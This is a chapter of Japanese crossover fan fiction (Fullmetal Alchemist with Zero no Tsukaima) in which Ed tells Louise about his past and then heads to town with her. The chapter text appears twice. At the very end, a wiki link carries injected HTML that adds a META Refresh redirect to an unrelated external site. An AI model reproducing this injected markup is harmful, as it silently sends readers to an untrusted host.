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*第8話 「ところで、聞きたかったんだけど、アルって誰なのよ?」 「アルは、俺の弟だ」 「ふ~ん。そうなの。じゃあ、その右手は何なの?」 「これは、機械鎧―オートメイル―だ。鋼の義肢。だから俺の二つ名は“鋼”なんだよ」 「へぇ~。良くできてるわね」 「腕のいいやつがいたんでな」 「エドは、弟と二人で何をしてたの?」 「…」 エドは、黙り込んでしまった…そして、ルイズの方を向いた 「何よ」 「俺達は…『賢者の石』をさがしてるんだ。ある目的のために…」 「賢者の石?なにそれ?」 「賢者の石―それは、『完全な物質』。どんな代価をも必要とせず、どんな物でも錬成できるものだ」 「どんな物でも?すごいわね!でも、エドも錬成だっけ?してたじゃない。あの巨人とか」 「あれは違う。あれは地面を錬成して作った。錬金術は等価交換なんだ。無からは何も作れないし、色々な法則も無視できない。俺に言わせれば、魔法の方がどうかしてると思うけどな」 「そうなの。エドは賢者の石を見つけて、何をしようと思ってるの?」 「…」 「…」 「ち、ちょっと!」 エドはうつ向いて、床の一点を見つめている―そして、その重い口を開いた… 「俺は…アルと、俺の体を取り返す。そして…」 エドはまた、うつ向いてしまった 「えっ?体を…?」 ルイズを無視して、話を続けた 「俺とアルは、禁忌を犯したんた。絶対にやってはいけないことを…」 「…」 「俺達は、人を錬成しようとした。母さんを…死んでしまった母さんを…その為に、錬金術を学んだ。師匠には禁止されていたけど、やってしまった。」 「…」 ルイズは、ただ黙ってエドの話を聞いている 「理論は完璧だった。だけど…錬成されたのは……。……その時に、俺は左足を。アルは、体ごと持ってかれた。何とかアルの魂はこっちに呼び込めたけど、その代償に右手を持ってかれた。だから俺は、賢者の石を見付けたいんだ………」 エドは、今にも泣きそうな声で話をした。 ルイズは黙って、その話を聞いていた。 ―二つの月だけが、二人を見守っていた― 「…もう寝る」 「う、うん。…おやすみ」 エドは力なくそう言うと、床に藁をひいつあるいつものところで、毛布にくるまって寝てしまった (私…聞いちゃいけないこと聞いちゃったかな…) ルイズも、布団に入って寝ようとした。しかし、エドのさっきの話を聞いて、なかなか眠れなかった。すると、エドがうなされていた 「…うっ…アル…母さん…ご、ごめ…」 ルイズは、汗だくになるエドの方を向いた。その時、 「うわぁぁぁぁぁぁ!!」 エドが急に叫んで、起きた 「きゃっ!!何よっ!?」 「はぁ…はぁ…な、なんでもない…(くそっ!)」 エドはそう言うと、また寝てしまった。ルイズは、エドが心配になっていた。自分のせいで、エドの辛い過去を聞いてしまったのだ… (そうだ!) ルイズは何かを決心して、深い眠りにはいった ―翌朝― 「エド!おきなさい!朝よ!…エドっ!!」 「なんだぁ~?」 ルイズが珍しく朝早く起きていた。しかも、きっちりと服を着ている 「早くおきなさいよ!まったく、ご主人様より早く起きるのが使い魔でじょ!」 今日のルイズは、なんか元気いっぱいだ。エドがモソモソと服を着て椅子に座った 「いい?今日は虚無の曜日だから、町に買い物に行くわよ!用意しなさ~い!」 「…お前」 「べ、別に、あんたが元気ないからとか…その、そ、そんなのじゃないからね」 (良いとこあるじゃん。素直じゃないけど) 「わかった。馬を借りてくる」 トントン その時、ルイズの部屋のドアが叩かれた 「誰?」 エドがドアを開けると、そこに一人のメイドがいた。シエスタだ 「あの…エドさん。昨日は、急に逃げだしてしまってすみませんでした!」 「えっ?いや…別にいいよ。なんともなってないし。俺が勝手にしたことだから。」 「で、でも、逃げだしたのは私で、エドさんが、決闘してしまったのも私のせいだから…」 「大丈夫だって。シエスタが気にすることないから」 そんな二人の会話を、ルイズは黙って聞いていた。 ―何気にいいムードである 「とにかく、シエスタが気にすることはないからな」 「わかりました。ありがとうございます。エドさんを見てると、なんか勇気が持てました。これからもよろしくお願いしますね」 シエスタはそう言うと、笑顔で部屋を後にした。 シエスタが出ていった後、なぜかルイズは機嫌が悪くなっていた 「さっさと行くわよ!」 「?じゃあ、馬を二頭…」 「一頭で十分よ!あんたは使い魔でしょ!手綱を持ちなさい!手綱を!」 「わ、わかったよ…(なんでだ?さっきまでニコニコしてたのに…わけわかんねぇ)」 こうして二人は街へと出かけていった
*第8話 「ところで、聞きたかったんだけど、アルって誰なのよ?」 「アルは、俺の弟だ」 「ふ~ん。そうなの。じゃあ、その右手は何なの?」 「これは、機械鎧―オートメイル―だ。鋼の義肢。だから俺の二つ名は“鋼”なんだよ」 「へぇ~。良くできてるわね」 「腕のいいやつがいたんでな」 「エドは、弟と二人で何をしてたの?」 「…」 エドは、黙り込んでしまった…そして、ルイズの方を向いた 「何よ」 「俺達は…『賢者の石』をさがしてるんだ。ある目的のために…」 「賢者の石?なにそれ?」 「賢者の石―それは、『完全な物質』。どんな代価をも必要とせず、どんな物でも錬成できるものだ」 「どんな物でも?すごいわね!でも、エドも錬成だっけ?してたじゃない。あの巨人とか」 「あれは違う。あれは地面を錬成して作った。錬金術は等価交換なんだ。無からは何も作れないし、色々な法則も無視できない。俺に言わせれば、魔法の方がどうかしてると思うけどな」 「そうなの。エドは賢者の石を見つけて、何をしようと思ってるの?」 「…」 「…」 「ち、ちょっと!」 エドはうつ向いて、床の一点を見つめている―そして、その重い口を開いた… 「俺は…アルと、俺の体を取り返す。そして…」 エドはまた、うつ向いてしまった 「えっ?体を…?」 ルイズを無視して、話を続けた 「俺とアルは、禁忌を犯したんた。絶対にやってはいけないことを…」 「…」 「俺達は、人を錬成しようとした。母さんを…死んでしまった母さんを…その為に、錬金術を学んだ。師匠には禁止されていたけど、やってしまった。」 「…」 ルイズは、ただ黙ってエドの話を聞いている 「理論は完璧だった。だけど…錬成されたのは……。……その時に、俺は左足を。アルは、体ごと持ってかれた。何とかアルの魂はこっちに呼び込めたけど、その代償に右手を持ってかれた。だから俺は、賢者の石を見付けたいんだ………」 エドは、今にも泣きそうな声で話をした。 ルイズは黙って、その話を聞いていた。 ―二つの月だけが、二人を見守っていた― 「…もう寝る」 「う、うん。…おやすみ」 エドは力なくそう言うと、床に藁をひいつあるいつものところで、毛布にくるまって寝てしまった (私…聞いちゃいけないこと聞いちゃったかな…) ルイズも、布団に入って寝ようとした。しかし、エドのさっきの話を聞いて、なかなか眠れなかった。すると、エドがうなされていた 「…うっ…アル…母さん…ご、ごめ…」 ルイズは、汗だくになるエドの方を向いた。その時、 「うわぁぁぁぁぁぁ!!」 エドが急に叫んで、起きた 「きゃっ!!何よっ!?」 「はぁ…はぁ…な、なんでもない…(くそっ!)」 エドはそう言うと、また寝てしまった。ルイズは、エドが心配になっていた。自分のせいで、エドの辛い過去を聞いてしまったのだ… (そうだ!) ルイズは何かを決心して、深い眠りにはいった ―翌朝― 「エド!おきなさい!朝よ!…エドっ!!」 「なんだぁ~?」 ルイズが珍しく朝早く起きていた。しかも、きっちりと服を着ている 「早くおきなさいよ!まったく、ご主人様より早く起きるのが使い魔でじょ!」 今日のルイズは、なんか元気いっぱいだ。エドがモソモソと服を着て椅子に座った 「いい?今日は虚無の曜日だから、町に買い物に行くわよ!用意しなさ~い!」 「…お前」 「べ、別に、あんたが元気ないからとか…その、そ、そんなのじゃないからね」 (良いとこあるじゃん。素直じゃないけど) 「わかった。馬を借りてくる」 トントン その時、ルイズの部屋のドアが叩かれた 「誰?」 エドがドアを開けると、そこに一人のメイドがいた。シエスタだ 「あの…エドさん。昨日は、急に逃げだしてしまってすみませんでした!」 「えっ?いや…別にいいよ。なんともなってないし。俺が勝手にしたことだから。」 「で、でも、逃げだしたのは私で、エドさんが、決闘してしまったのも私のせいだから…」 「大丈夫だって。シエスタが気にすることないから」 そんな二人の会話を、ルイズは黙って聞いていた。 ―何気にいいムードである 「とにかく、シエスタが気にすることはないからな」 「わかりました。ありがとうございます。エドさんを見てると、なんか勇気が持てました。これからもよろしくお願いしますね」 シエスタはそう言うと、笑顔で部屋を後にした。 シエスタが出ていった後、なぜかルイズは機嫌が悪くなっていた 「さっさと行くわよ!」 「?じゃあ、馬を二頭…」 「一頭で十分よ!あんたは使い魔でしょ!手綱を持ちなさい!手綱を!」 「わ、わかったよ…(なんでだ?さっきまでニコニコしてたのに…わけわかんねぇ)」 こうして二人は街へと出かけていった [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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